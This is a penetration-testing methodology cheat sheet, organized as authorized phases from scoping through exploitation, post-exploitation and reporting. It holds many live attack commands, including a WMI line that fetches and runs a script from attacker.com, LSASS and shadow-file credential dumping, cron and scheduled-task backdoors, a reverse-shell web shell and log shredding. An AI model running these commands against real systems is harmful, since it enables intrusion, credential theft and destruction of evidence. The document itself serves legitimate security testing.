

# Full Network PT

---

## PHASE 0: PRE-ENGAGEMENT (Often Skipped → Critical Gaps)

### 0.1 Business & Scope Definition

- Identify crown jewel assets, revenue-generating apps, compliance requirements (PCI-DSS, HIPAA, SOX)
- Define "In-Scope" vs "Out-of-Scope" explicitly
- Document all IP ranges, domains, cloud instances, third-party integrations, APIs
- Include IPv6, cloud assets, CDN edges, wildcard domains in RoE
- Use `cat out-scope.txt && dig +short` to verify no overlap

### 0.2 Attack Surface Entry Points

- CDNs (Cloudflare, Akamai)
- WAFs (Cloudflare WAF, AWS WAF, etc.)
- Load balancers
- Email gateways
- VPN concentrators
- Third-party integrations

### 0.3 Legal & Communication

- Signed Rules of Engagement (RoE) obtained
- ROE covers: Credential brute-forcing, DoS testing, data exfiltration simulation, phishing (if applicable)

- Emergency contacts, escalation matrix
- Incident response trigger points defined
- Data handling and NDA agreements signed
- Third-party authorization (if testing shared infrastructure)

## 0.4 Threat Intelligence Setup

- MISP integration: `misp-cli --search "organisation:$(ORG)" > misp.json`
- Seed word-list from Jira/wiki: `cewl -d 3 -m 4 -w cewl.txt <https://confluence.example.com>`

# PHASE 1: RECONNAISSANCE & OSINT (DEEP DIVE)

## 1.1 Subdomain Enumeration (Multi-Tool Correlation)

```
# Multi-tool approach (run all)
amass enum -active -d target.com -brute -w subdomains-top1mil-5000.txt
subfinder -dL domains.txt -all -recursive -silent
assetfinder --subs-only target.com
shuffledns -d target.com -w subdomains-top1mil-5000.txt -r resolvers.txt
```

- Combine results from ≥4 tools and deduplicate
- Resolve to IPs: `cat subdomains.txt | dnsx -resp-only -o resolved.txt`

## 1.2 Certificate Transparency Logs (ALL Sources)

```
# crt.sh
curl -s "<https://crt.sh/?q=%25.target.com&output=json>" | jq -r '.[].name_value'
# certspotter
# Entrust CT: <https://ui.ctsearch.entrust.com/ui/ctsearchui>
# ctf tool
ctf -d target.com -o ctf.txt
```

## ✓ 1.3 Infrastructure Intelligence

- CDN/WAF Detection:** `wafw00f`, `whatweb -a 3`
- Origin IP Leaks** via historical DNS: `dnsdumpster.com`, `viewdns.info`
- ASN Expansion:** `bgp3 -S RIPE,ARIN AS$(ASN) | aggregate -q > asn-aggregated.txt`
- Reverse-NS Bruting:** `for ns in $(dig NS example.com +short); do dig axfr @$ns; done`
- BGP Hijack Exposure:** `bgpstream -p1-j` (look for your prefixes)

## ✓ 1.4 Cloud & SaaS Reconnaissance

```
# AWS S3, Azure, GCP
cloud_enum -k target -k companyname -l cloud_assets.txt
s3scanner scan -l domains.txt
# GitHub/GitLab
trufflehog git <https://github.com/target-org/repo> --since-commit HEAD~50
gitleaks detect --source <https://github.com/$(ORG).git> --report-format json
# DevOps Tools
shodan search "org:Target Corp product:Jenkins"
censys.io search "services.service_name: JENKINS AND autonomous_system.organization:\\"Target Corp\\\""
```

## ✓ 1.5 Specialized Recon

- IPv6 Ranges from RIR:** `whois -h whois.ripe.net " -i org ORG-$($SHORTNAME)" | grep inet6num`
- Rapid7 FDNS:** `curl -s "<https://opendata.rapid7.com/sonar.fdns_v2/2024-01-15-fdns_any.json.gz>" | zgrep "$($DOMAIN)"`
- Public Docker Images:** `regctl tag ls docker.io/$(ORG)` → look for "internal" tags
- Mobile App Endpoints:** `mobSF -f $(ORG).apk > mobsf-report.json` (extract hard-coded URLs)
- Email Harvesting:** `theHarvester -d target.com -b all`
- Breach Password Search:** `h8mail -t users@example.com -sk --skip-default -lb breachcompilation.txt`

## PHASE 2: SCANNING & ENUMERATION (Comprehensive)

### 2.1 Host Discovery (All Protocols)

```
# Large CIDR
nmap -sn -PE -PP -PS80,443 -PA3389 10.10.10.0/24 -oG hosts-up.txt
# Masscan everything
masscan -iL scope.txt -p1-65535,U:1-65535 --rate 10000 -oL all-ports.raw
```

### 2.2 Port Scanning (TCP/UDP/IPv4/IPv6)

```
# Full TCP IPv4
nmap -Pn -sS -p- -T4 --min-rate 10000 -iL in-scope.txt -oA full-tcp4
# Full TCP IPv6
nmap -6 -Pn -sS -p- -T4 -iL v6-in-scope.txt -oA full-tcp6
# UDP top 1000
nmap -Pn -sU --top-ports 1000 -iL in-scope.txt -oA top-udp
# QUIC/HTTP3
nmap -sU -p443,80 --script quic-info
```

### 2.3 Service Detection & Fingerprinting

```
# Comprehensive service detection
nmap -sV -sC -O --version-all -p$(cat full-tcp4.nmap | grep open | cut -d/ -f1
| paste -sd,) -oA svc-det
# HTTP tech stack
httpx -l live-ips.txt -sc -title -tech-detect -csv -o http-tech.csv
```

### 2.4 CDN & WAF Bypass Testing

- CDN Origin Hunter:** `cloudflare -d example.com` → origin IP candidates
- SNI-scan behind CDNs:** `ssiscan --sni $DOMAIN $CANDIDATE_IP:443`
- Curl resolve bypass:** `curl --resolve host:IP`

## ✓ 2.5 Service-Specific Enumeration

```
# SMB/SAMBA (all checks)
enum4linux-ng -A -C $IP -oA enum4linux_output
# SNMP (v1/v2c/v3)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-communi
ty-strings.txt $IP
snmpwalk -v3 -l noAuthNoPriv $IP
# SMTP (user enumeration)
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-
shortlist.txt -t $IP
# LDAP
ldapsearch -x -H ldap://$IP:389 -s base namingcontexts
# DNS cache snooping
nmap -sU -p53 --script dns-cache-snoop.nse --script-args 'dns-cache-snoo
p.mode=timed' $IP
# RDP/NLA settings
nmap -p3389 --script rdp-enum-encryption $IP
# VPN fingerprint
nmap -sU -p500,4500 --script ike-version,ike-extended $IP
# SIP/VoIP
nmap -sU -p5000 --script sip-methods,sip-enum-users $IP
# Database listeners
nmap -p1433,3306,5432,27017,6379 --script ms-sql-info,mysql-info
# Docker registry
curl -s <https://$IP:5000/v2/_catalog>
# Kubernetes API
curl -k <https://$IP:6443/api>
```

## ✓ 2.6 Web Application Enumeration (Deep)

```
# Directory/file discovery
ffuf -u <https://target.com/FUZZ> -w /usr/share/seclists/Discovery/Web-Cont
ent/raft-large-directories.txt -mc 200,301,302,403 -t 50
gobuster dir -u <https://target.com> -w /usr/share/wordlists/dirbuster/directo
```

```
ry-list-2.3-medium.txt -x php,asp,aspx,jsp,html,txt -t 100
# Parameter discovery
arjun -u <https://target.com/api/endpoint> --get --post
paramspider -d target.com -l high
# API endpoint discovery
katana -u <https://target.com> -d 3 -jc -kf -fx -o katana_urls.txt
# Virtual hosts
gobuster vhost -u <https://target-ip> -w subdomains.txt --append-domain
```

## 🛡 PHASE 3: VULNERABILITY ANALYSIS (Zero False Positives)

### ✓ 3.1 Automated Scanning (Multi-Tool Validation)

```
# Nuclei comprehensive
nuclei -l alive_subs.txt -t http/cves/,http/misconfiguration/,http/exposures/ -s
everity low,medium,high,critical -o nuclei-all.txt
# Jaeles
jaeles scan -s /path/to/signatures -U alive_subs.txt
# OpenVAS/Nessus (if licensed)
# Import "Full and Fast" policy
```

### ✓ 3.2 Manual Vulnerability Discovery Checklist

#### ◆ Business Logic Flaws

- Bypass workflows
- Privilege escalation through normal operations

#### ◆ IDOR Testing

- Test sequential IDs: curl -X GET <https://target.com/api/user/12345> > vs ..12346
- GUID/UID manipulation

#### ◆ JWT Vulnerabilities

```
python3 jwt_tool.py <JWT_TOKEN> -C -d /path/to/wordlist  
# Burp Checks: Change aud, iss, exp; Remove signature; Swap users; Reuse refresh tokens
```

## ◆ GraphQL Testing

- Introspection queries
- Batch attacks
- Query depth DoS
- GraphQL introspection: `curl -s -X POST -H "Content-Type: application/json" --data '{"query": "__schema{types{name}}"}'`

## ◆ WebSocket Security

- Manual fuzzing with wsfuzzer
- Message interception

## ◆ SSRF Testing

- All input vectors: URLs, PDF generators, webhooks, imports
- Metadata endpoints: AWS, Azure, GCP

## ◆ File Upload Bypasses

- Test 50+ extensions
- Magic bytes manipulation
- Double extensions
- Null bytes: `shell.php%00.jpg`

## ◆ CORS Misconfigurations

```
curl -H "Origin: <https://evil.com>" -I <https://target.com>  
python3 corsscanner.py -u <https://$DOMAIN>
```

## ◆ DNS Rebinding

- Test with [rbindr.us](https://rbindr.us) or self-hosted rebinding server

## ◆ Cache Poisoning

- X-Forwarded-Host header manipulation
- Fat GET requests

## ✓ 3.3 API-Specific Attacks

```
# API fuzzing
ffuf -u <https://api.target.com/v1/FUZZ> -w api_seclist.txt -H "Authorization: Bearer <token>" -mc 200
# OpenAPI/Swagger analysis
python3 APICopilot.py -u <https://target.com/swagger.json>
# GraphQL testing
graphql-cop -t <https://target.com/graphql>
# BOLA/IDOR, Mass assignment, Function-level auth bypass, Rate limit bypass, Object nesting abuse
```

## ✓ 3.4 Cloud Infrastructure Testing

```
# AWS S3 misconfigurations
aws s3 ls s3://bucket --no-sign-request
# Azure Storage
az storage container list --account-name <account> --sas-token <token>
# Kubernetes API exposure
kube-hunter --remote target.com
# Docker registry
docker pull target.com:5000/repo:tag
# Trivy for images
trivy image $ORG/app:latest
```

## ✓ 3.5 TLS, Crypto & Trust Assessment

```

# Full cryptographic assessment
testssl.sh --openssl-timeout 5 --warnings batch --csvfile report.csv target.co
m:443
# Weak cipher negotiation check
sslyze --regular --http_headers --compression --reneg --resum --certinfo --s
sl2 --ssl3 --tls1 --tls1_1 --tls1_2 --tls1_3 target:443
# Check for weak certificates
openssl s_client -connect target.com:443 -servername target.com 2>/dev/nul
l | openssl x509 -noout -text | grep -A1 "Signature Algorithm"
# HSTS missing check
curl -s -I <https://$DOMAIN> | grep -i strict
# Cookie flags
curl -s -I -X GET <https://$DOMAIN> | grep -i set-cookie (check Secure, Http
Only, SameSite)

```

## ✓ 3.6 DNS & Email Security

- Subdomain takeover:** `subjack -w subs.txt`
- Zone transfer (AXFR):** `dig axfr @ns target.com`
- DNSSEC misconfiguration:** `delv @8.8.8.8 example.com`
- SPF/DKIM/DMARC:** `dig TXT $DOMAIN +short | grep -E 'v=spf|v=DMARC|k=rsa'`
- Wildcard DNS abuse:** `host 123456789.$DOMAIN` (should NXDOMAIN)
- Email spoofing test:** `swaks --to ceo@example.com --from attacker@example.org --header "Subject: Test"`

## ✓ 3.7 Authentication & Identity

- MFA enforcement gaps**
- Password reset poisoning**
- OAuth misbinding**
- Session fixation**
- API rate-limit missing:** `for i in {1..150}; do curl -s -o /dev/null -w "%{http_code}\\\n" <https://api.$DOMAIN/login>; done`

---

## PHASE 4: EXPLOITATION (Guaranteed Impact)

### 4.1 Prioritized Exploitation Framework

1. Critical vulnerabilities first (RCE, SQLi, Auth Bypass)
2. Chain lower-severity issues to achieve critical impact
3. Use custom exploit development when needed

### 4.2 Web Application Exploitation

```
# SQL Injection (all types)
sqlmap -u "<https://target.com/page?id=1>" --batch --level=5 --risk=3 --technique=BESTQ --tamper=between,charencode --random-agent --dump-all
# NoSQL Injection
<https://target.com/api/user?query⇒{"$where": "sleep(5000)"}
# Command injection
commix --url="<https://target.com/ping?ip⇒"
```

### 4.3 Authentication & Authorization Testing

```
# OAuth/OIDC misconfigurations
python3 token_replay.py -t <token>
# JWT attacks
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# 2FA/MFA bypass testing
# Test for: Lack of rate limiting, code reuse, response manipulation
```

### 4.4 Network Service Exploitation

```
# SSH weak key exchange algorithms
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@target
# RDP vulnerabilities
rdp-sec-check.pl <target>
```

```
# FTP bounce attack  
nmap -b <ftpuser:ftppass@ftp.target.com> <internal_target>
```

## ✓ 4.5 Cloud-Specific Exploitation

```
# AWS metadata service SSRF  
curl <http://169.254.169.254/latest/meta-data/iam/security-credentials/>  
# Azure metadata  
curl -H "Metadata: true" <http://169.254.169.254/metadata/instance?api-versi  
on=2021-02-01>  
# Kubernetes API  
curl -k https://<k8s-api>:6443/api/v1/namespaces/default/pods
```

## ✓ 4.6 Exploit Database & Custom Exploits

```
# Search for exploits  
searchsploit --nmap svc-det.nmap | grep -i remote  
# CVE correlation  
nmap -p'$(open-ports)' --script vulners '$IP'  
# Metasploit for known exploits  
msfconsole  
search cve:2025-1234  
use exploit/multi/http/struts2_rest_xstream
```

# 🧠 PHASE 5: POST-EXPLOITATION & LATERAL MOVEMENT

## ✓ 5.1 Initial Foothold Expansion

```
# Linux privilege escalation  
linpeas.sh -a  
linux-exploit-suggester.sh -k 5.4.0  
# Windows privilege escalation
```

```
winpeas.exe quiet fast
Seatbelt.exe -group=all
# Container escape
docker run --rm -it --privileged -v /:/host alpine chroot /host
```

## ✓ 5.2 Credential Harvesting & Dumping

```
# Linux
cat /etc/passwd /etc/shadow
find / -name "*.kdbx" -o -name ".*.pass" -o -name ".*.cred" 2>/dev/null
# Windows
mimikatz.exe "privilege::debug" "sekurisa::logonpasswords" "lsadump::sam"
"exit"
# Browser credentials
LaZagne.exe browsers
# Procdump + Mimikatz
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz "sekurisa::minidump lsass.dmp" "sekurisa::logonpasswords" exit
```

## ✓ 5.3 Lateral Movement Techniques

```
# Pass-the-hash
impacket-psexec -hashes :NTLM_HASH administrator@target
# Kerberos attacks
impacket-getTGT -dc-ip <DC_IP> domain/user
impacket-secretsdump domain/user:password@target
# WMI execution
impacket-wmiexec user:pass@target "powershell iex(iwr <http://attacker.co
m/shell.ps1>)"
```

## ✓ 5.4 Persistence Mechanisms (If Authorized)

```
# Linux cron jobs
echo "* * * * * root /tmp/backdoor.sh" >> /etc/crontab
```

```
# Windows scheduled tasks  
schtasks /create /tn "UpdateService" /tr "C:\Windows\System32\backdoor.exe" /sc minute /mo 1  
# SSH authorized_keys  
echo "ssh-rsa AAAAB3NzaC..." >> ~/.ssh/authorized_keys  
# Web shells  
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f raw > shell.php
```

## ✓ 5.5 Network Pivoting

```
# SSH port forwarding  
ssh -L 3389:internal-host:3389 user@foothold  
# Proxchains + SOCKS  
# Chisel reverse tunnel  
chisel server -p 8080 --reverse  
# Meterpreter autoroute  
meterpreter > run autoroute -s <SUBNET>
```

## ✓ 5.6 Data Exfiltration Proof

- Create test file: `echo "TEST EXFIL" > /tmp/exfil_test.txt`
- Screenshot: `import -window root screenshot_$(date +%s).png`
- Command history logging: `script -f engagement.log`

# 📄 PHASE 6: REPORTING & CLEANUP

## ✓ 6.1 Evidence Collection

```
# Screenshots with timestamp  
import -window root screenshot_$(date +%s).png  
# Command history logging  
script -f engagement.log  
# Network captures during exploitation
```

```

tcpdump -i eth0 -w exploitation_capture.pcap
# Raw evidence archive
tar czf evidence.tgz screenshots/ raw-tool/ creds-redacted/

```

## 6.2 Risk Prioritization Matrix

Criticality	Definition	Examples
<b>Critical</b>	Direct root-level access, full system compromise	RCE, Domain Admin compromise
<b>High</b>	Significant data access/privilege escalation	SQLi to DB, Admin panel access
<b>Medium</b>	Limited data access, configuration issues	Directory traversal, info disclosure
<b>Low</b>	Security weaknesses without direct exploit path	Version disclosure, missing headers

## 6.3 Professional Report Structure

1. **Executive Summary** (1 page max) - business-impact language
2. **Technical Summary** (3 pages)
3. **Detailed Findings** (per vulnerability):
  - CVSS 3.1/4.0 Score (Base, Temporal, Environmental)
  - Proof of Concept (screenshots, commands)
  - Business Impact
  - Remediation Steps (code snippets if possible)
4. **Attack Narrative** (timeline of compromise)
5. **Appendix** (full tool outputs, raw data)
6. **Remediation Validation Checklist**
7. **One-liner fix per finding** (cheat-sheet)

## 6.4 Cleanup Procedures

```
# Remove all tools, scripts, and backdoors
rm -rf /tmp/linpeas.sh /tmp/nc /tmp/shell.php
# Delete created users
net user pentester /delete
# Clear logs (if authorized)
meterpreter > clearev
find /var/log -type f -exec shred -u {} \;;
# Clean tracks
# Windows: wevtutil cl System
# Linux: export HISTCONTROL=ignoreboth
```

## 🎯 PHASE 7: ATTACK CHAINING (EXPERT DIFFERENTIATOR)

### ✓ 7.1 Document Realistic Attack Chains

- Chain Example 1:** Open S3 → config leak → JWT secret → admin takeover
- Chain Example 2:** Subdomain takeover → cookie scope abuse
- Chain Example 3:** SSRF → metadata → cloud IAM → full compromise
- Chain Example 4:** IDOR → password reset → account takeover
- Explicitly document at least one realistic attack chain**

## 🚀 PHASE 8: EVASION & REALISM

### ✓ 8.1 Evasion Techniques

- Rate limit evasion**
- WAF bypass techniques** (`byp4xx`, `403fuzzer`)
- Header mutation**
- IP rotation / user-agent control**
- Firewall/IDS evasion testing:** `nmap -f --mtu 24 -D RND:10 --data-length 200 --badsum -T2`

## PHASE 9: ZERO-DAY & LOGIC RISK ACKNOWLEDGMENT

### 9.1 Identify High-Risk Components

- Identify unmaintained software
  - Flag EOL components
  - Assess patch latency
  - Highlight "single-auth control" systems
  - Document components you cannot test (zero-day acknowledgement)
- 

## PHASE 10: BLIND SPOTS & OFTEN-MISSED CHECKS

### 10.1 Comprehensive Coverage Validation

- IPv6 Attack Surface:** `nmap -6 -sS -p- <target>`
- WAF Bypasses:** Test with `byp4xx`, `403fuzzer`
- Domain Name Hijacking:** Check for expired domains/subdomains
- Email Security:** SPF/DKIM/DMARC misconfigurations
- VoIP Systems:** SIP scanning (`svmap`, `sipvicious`)
- IoT/ICS Devices:** Shodan search for specific banners
- Third-Party Integrations:** JavaScript includes, analytics trackers
- Mobile API Backends:** Often different from web endpoints
- Edge-cache poisoning:** `curl -X PURGE <https://cdn.$DOMAIN/ >`
- ARC/BIMI email headers:** `dig TXT default._bimi.$DOMAIN`
- DNS resolvers open:** `nmap -sU -p53 --script dns-recursion $IP`
- NTP monlist DDoS:** `nmap -sU -p123 --script ntp-monlist $IP`
- WS-Discovery反射:** `nmap -sU -p3702 --script wsdd-discover $IP`

- TFTP file grab:** `nmap -sU -p69 --script tftp-enum $IP`
  - IPMI cipher 0:** `nmap -sU -p623 --script ipmi-cipher-zero $IP`
  - LoRa / IoT exposure:** `nmap -sU -p1700 --script lorawan-gateway $IP`
- 

## PHASE 11: AUTOMATION & CONTINUOUS MONITORING

### 11.1 Automation Script Template

```
#!/bin/bash
# run_all.sh - Comprehensive external test automation

TARGET=$1
OUTDIR="scan_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTDIR

echo "[+] Starting comprehensive assessment of $TARGET"

# Subdomain enumeration
echo "[+] Phase 1: Subdomain Enumeration"
./subdomain_enum.sh $TARGET > $OUTDIR/subdomains.txt

# Alive checking
cat $OUTDIR/subdomains.txt | httpx -silent -threads 100 > $OUTDIR/alive_hosts.txt

# Full port scan on alive hosts
echo "[+] Phase 2: Port Scanning"
nmap -sV -sC -O -p- -iL $OUTDIR/alive_hosts.txt -oA $OUTDIR/full_scan --max-rate 1000

# Web app scanning
echo "[+] Phase 3: Web Application Testing"
cat $OUTDIR/alive_hosts.txt | nuclei -t /root/nuclei-templates/ -severity critica
```

```
I,high -o $OUTDIR/nuclei_results.txt

# Vulnerability correlation and reporting
echo "[+] Phase 4: Analysis"
python3 correlate_findings.py $OUTDIR/*.txt > $OUTDIR/final_report.md

echo "[+] Assessment complete. Results in $OUTDIR/"
```

## ✓ 11.2 Continuous Monitoring Setup

```
# Monitor for new assets
amass track -d target.com -diff
# GitHub search automation
github-search -q "target.com" -t all -s weekly
# Certificate transparency monitoring
certstream --url="wss://certstream.calidog.io" --domains="target.com"
```

# 📚 ESSENTIAL TOOLS & WORDLISTS REFERENCE

## 🛠️ Critical Tool Installation

```
# SecLists (comprehensive wordlists)
git clone <https://github.com/danielmiessler/SecLists.git> /usr/share/seclists

# Nuclei templates (always update)
nuclei -update-templates

# PayloadsAllTheThings
git clone <https://github.com/swisskyrepo/PayloadsAllTheThings.git>

# PEASS (privilege escalation)
wget <https://github.com/carlospolop/PEASS-ng/releases/latest/download/linux-peas.sh>
wget <https://github.com/carlospolop/PEASS-ng/releases/latest/download/windows-peas.ps1>
```

```
nPEASx64.exe>
```

```
# Impacket (AD/Windows)
git clone <https://github.com/SecureAuthCorp/impacket.git>
cd impacket && pip3 install .
```



## Essential Wordlists

Category	Location	Use Case
General Discovery	/usr/share/seclists/Discovery/Web-Content/big.txt	Directory/file enumeration
Subdomain Wordlists	/usr/share/seclists/Discovery/DNS/subdomains-top1million-10000.txt	Subdomain brute forcing
API Endpoints	/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt	API discovery
Passwords	/usr/share/wordlists/rockyou.txt	Password attacks
Usernames	/usr/share/seclists/Usernames/top-usernames-shortlist.txt	User enumeration
Fuzzing Payloads	/usr/share/seclists/Fuzzing/SQL/Generic-SQL.txt	Injection testing
Default Credentials	/usr/share/seclists/Passwords/Default-Credentials/	Default auth bypass



## FINAL VALIDATION CHECKLIST

### 🎯 Are You REALLY Done?

- Have all subdomains been discovered?** Compare results from 4+ tools
- Are there any unauthenticated admin panels?** Test common paths: /admin , /wp-admin , /administrator
- IPv6 fully tested?** nmap -6 -p1-1000 \$IPv6 (often unfiltered)
- All cloud assets enumerated?** AWS, Azure, GCP, DigitalOcean, etc.
- All APIs discovered and tested?** Mobile backends separate from web
- Certificate transparency logs fully parsed?** All historical certs checked

- Email security tested?** SPF, DKIM, DMARC, phishing simulation if in scope
  - Third-party integrations reviewed?** JS libraries, analytics, CDN scripts
  - Attack chain documented?** At least one realistic exploitation path
  - Business impact clearly articulated?** Not just technical findings
  - Remediation steps actionable?** One-liner fixes provided per finding
  - All evidence collected and organized?** Screenshots, logs, command output
  - Cleanup performed?** All tools removed, test accounts deleted
  - Report reviewed for accuracy?** No false positives, clear POCs
-